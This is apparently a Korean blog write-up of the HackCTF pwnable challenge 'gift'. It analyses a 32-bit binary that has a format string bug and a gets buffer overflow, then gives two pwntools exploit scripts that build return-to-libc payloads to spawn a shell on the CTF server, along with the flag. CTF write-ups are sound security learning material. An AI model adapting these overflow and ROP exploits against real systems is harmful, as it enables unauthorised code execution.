[문제]


[풀이]

보호 기법 확인

  • 32bit 바이너리
  • relro 없음
  • 카나리 없음
  • nx bit 존재
  • pie 없음

 

바이너리 실행

  • 특정 주소 값 2개를 출력해줌
    • 0x8049940은 동일한 것으로 보아 bss 영역에 저장된 변수임을 알 수 있음
  • 사용자의 입력을 2번 받는데, 1번은 입력 값을 동일하게 출력하고, 1번은 단순히 입력만 받고 바이너리 종료

 

소스코드 분석

int __cdecl main(int argc, const char **argv, const char **envp) { ​​char s; // [esp+0h] [ebp-84h]@1 ​​alarm(0x3Cu); ​​setvbuf(stdout, 0, 2, 0); ​​setvbuf(stdin, 0, 2, 0); ​​setvbuf(stderr, 0, 2, 0); ​​printf("Hey guyssssssssss here you are: %p %p\\n", &binsh, &system); ​​fgets(&s, 128, stdin); ​​printf(&s); ​​gets(&s); ​​return 0; }

main 함수

  • 처음 출력해주는 주소가 binsh와 system임을 알 수 있음
    • binsh는 bss 영역에 저장되어 있어 주소 값이 변하지 않음
    • system 함수는 실제 system 주소로 ASLR로 매번 주소가 바뀜
  • 1번째 입력에서는 s라는 버퍼에 128바이트만큼 입력 받고, 그대로 출력 → FSB 취약점 발생
  • 2번째 입력에서는 단순히 gets 함수로 사용자의 입력을 받음 → BOF 취약점 발생

 

GDB 정적분석 - 함수 주소

pwndbg> info func All defined functions: Non-debugging symbols: 0x0804838c _init 0x080483c0 printf@plt 0x080483d0 gets@plt 0x080483e0 fgets@plt 0x080483f0 alarm@plt 0x08048400 __libc_start_main@plt 0x08048410 setvbuf@plt 0x08048420 __gmon_start__@plt 0x08048430 _start 0x08048470 _dl_relocate_static_pie 0x08048480 __x86.get_pc_thunk.bx 0x08048490 deregister_tm_clones 0x080484d0 register_tm_clones 0x08048510 __do_global_dtors_aux 0x08048540 frame_dummy 0x08048546 main 0x08048610 __libc_csu_init 0x08048670 __libc_csu_fini 0x08048674 _fini
  • main: 0x08048546

 

GDB 정적분석 - 변수

pwndbg> info variables All defined variables: Non-debugging symbols: 0x08048688 _fp_hw 0x0804868c _IO_stdin_used 0x080486b8 __GNU_EH_FRAME_HDR 0x080487dc __FRAME_END__ 0x080497e0 __frame_dummy_init_array_entry 0x080497e0 __init_array_start 0x080497e4 __do_global_dtors_aux_fini_array_entry 0x080497e4 __init_array_end 0x080497e8 _DYNAMIC 0x080498e4 _GLOBAL_OFFSET_TABLE_ 0x08049908 __data_start 0x08049908 data_start 0x0804990c __dso_handle 0x08049910 __TMC_END__ 0x08049910 __bss_start 0x08049910 _edata 0x08049920 completed 0x08049940 binsh 0x080499a4 _end
  • binsh: 0x08049940

  • binsh에는 아무런 값도 존재하지 않아 system(”/bin/sh”)의 형태로 이용할 수 없음 → “/bin/sh”문자열을 저장해줘야 함!

 

GDB 정적분석 - main 함수

pwndbg> disass main Dump of assembler code for function main: ​​​0x08048546 <+0>: push ebp ​​​0x08048547 <+1>: mov ebp,esp ​​​0x08048549 <+3>: push ebx ​​​0x0804854a <+4>: add esp,0xffffff80 ​​​0x0804854d <+7>: call 0x8048480 <__x86.get_pc_thunk.bx> ​​​0x08048552 <+12>: add ebx,0x1392 ​​​0x08048558 <+18>: push 0x3c ​​​0x0804855a <+20>: call 0x80483f0 <alarm@plt> ​​​0x0804855f <+25>: add esp,0x4 ​​​0x08048562 <+28>: mov eax,DWORD PTR [ebx-0x4] ​​​0x08048568 <+34>: mov eax,DWORD PTR [eax] ​​​0x0804856a <+36>: push 0x0 ​​​0x0804856c <+38>: push 0x2 ​​​0x0804856e <+40>: push 0x0 ​​​0x08048570 <+42>: push eax ​​​0x08048571 <+43>: call 0x8048410 <setvbuf@plt> ​​​0x08048576 <+48>: add esp,0x10 ​​​0x08048579 <+51>: mov eax,DWORD PTR [ebx-0x8] ​​​0x0804857f <+57>: mov eax,DWORD PTR [eax] ​​​0x08048581 <+59>: push 0x0 ​​​0x08048583 <+61>: push 0x2 ​​​0x08048585 <+63>: push 0x0 ​​​0x08048587 <+65>: push eax ​​​0x08048588 <+66>: call 0x8048410 <setvbuf@plt> ​​​0x0804858d <+71>: add esp,0x10 ​​​0x08048590 <+74>: mov eax,DWORD PTR [ebx-0x14] ​​​0x08048596 <+80>: mov eax,DWORD PTR [eax] ​​​0x08048598 <+82>: push 0x0 ​​​0x0804859a <+84>: push 0x2 ​​​0x0804859c <+86>: push 0x0 ​​​0x0804859e <+88>: push eax ​​​0x0804859f <+89>: call 0x8048410 <setvbuf@plt> ​​​0x080485a4 <+94>: add esp,0x10 ​​​0x080485a7 <+97>: mov eax,DWORD PTR [ebx-0x10] ​​​0x080485ad <+103>: push eax ​​​0x080485ae <+104>: mov eax,0x8049940 ​​​0x080485b4 <+110>: push eax ​​​0x080485b5 <+111>: lea eax,[ebx-0x1254] ​​​0x080485bb <+117>: push eax ​​​0x080485bc <+118>: call 0x80483c0 <printf@plt> ​​​0x080485c1 <+123>: add esp,0xc ​​​0x080485c4 <+126>: mov eax,DWORD PTR [ebx-0x8] ​​​0x080485ca <+132>: mov eax,DWORD PTR [eax] ​​​0x080485cc <+134>: push eax ​​​0x080485cd <+135>: push 0x80 ​​​0x080485d2 <+140>: lea eax,[ebp-0x84] ​​​0x080485d8 <+146>: push eax ​​​0x080485d9 <+147>: call 0x80483e0 <fgets@plt> ​​​0x080485de <+152>: add esp,0xc ​​​0x080485e1 <+155>: lea eax,[ebp-0x84] ​​​0x080485e7 <+161>: push eax ​​​0x080485e8 <+162>: call 0x80483c0 <printf@plt> ​​​0x080485ed <+167>: add esp,0x4 ​​​0x080485f0 <+170>: lea eax,[ebp-0x84] ​​​0x080485f6 <+176>: push eax ​​​0x080485f7 <+177>: call 0x80483d0 <gets@plt> ​​​0x080485fc <+182>: add esp,0x4 ​​​0x080485ff <+185>: mov eax,0x0 ​​​0x08048604 <+190>: mov ebx,DWORD PTR [ebp-0x4] ​​​0x08048607 <+193>: leave ​​​0x08048608 <+194>: ret End of assembler dump.
  • 입력 값은 모두 ebp-0x84에 저장됨
  • → ret까지의 offset은 0x88(136)임을 알 수 있음

 

Gadget 찾기 - gets 함수의 인자 빼기

ROPgadget --binary=./gift | grep ret

 

문제 해결

💡 방법1) libc-database로 libc_base 찾아 직접 실제 주소 구해 기본 RTL 진행
방법2) get(”/bin/sh”)로 binsh 주소에 /bin/sh를 넣은 후 RTL 진행

 

방법1

  • libc_base를 찾기 위해 system 함수의 offset 확인 → 0x940이 고정됨을 알 수 있음
  • 리눅스에 libc-database 설치하기

https://plump-streetcar-a98.notion.site/libc-database-4e31944ec9224a32a758436cfc75cfca

? libc_base를 찾을 수 없음 → offset이 안나온다!

  • 엥.. 또 나온다..?

→ 누군가가 찾아둔 것으로 시도!

 

Exploit - Pwntools

from pwn import * p = remote('ctf.j0n9hyun.xyz', 3018) e = ELF('./gift') gets = e.plt['gets'] gadget = 0x0804866b system_offset = 0x0003a940 binsh_offset = 0x15902b p.recvuntil(': ') binsh_address = int(p.recv(10),16) system_address = int(p.recv(10),16) p.sendline('a'*4) libc_base = system_address - system_offset binsh_real = libc_base + binsh_offset payload = "A"*136 payload += p32(system_address) payload += "b"*4 payload += p32(binsh_real) p.sendline(payload) p.interactive()

 

방법2

Exploit - Pwntools

from pwn import * p = remote('ctf.j0n9hyun.xyz', 3018) e = ELF('./gift') gets = e.plt['gets'] gadget = 0x0804866b p.recvuntil(': ') binsh = int(p.recv(10),16) system = int(p.recv(10),16) p.sendline('a'*4) payload = "A"*136 payload += p32(gets) payload += p32(gadget) #인자 빼기 payload += p32(binsh) #return address payload += p32(system) #인자 payload += "b"*4 #return address 없으므로 dummy payload += p32(binsh) #system 함수의 인자 -> binsh의 주소 주기 p.sendline(payload) p.send("/bin/sh\\x00") #gets 함수 인자로 /bin/sh주기 p.interactive()


flag

🍒 HackCTF{플래그_잘_받았지?_이게_내_선물이야!}

'Wargame > HackCTF' 카테고리의 다른 글

[HackCTF] 1996  (0) 2022.10.30
[HackCTF] Random key  (0) 2022.10.30
[HackCTF] RTL_Core  (0) 2022.10.30
[HackCTF] Beginner_Heap  (0) 2022.10.30
[HackCTF] Look at me  (0) 2022.10.30

+ Recent posts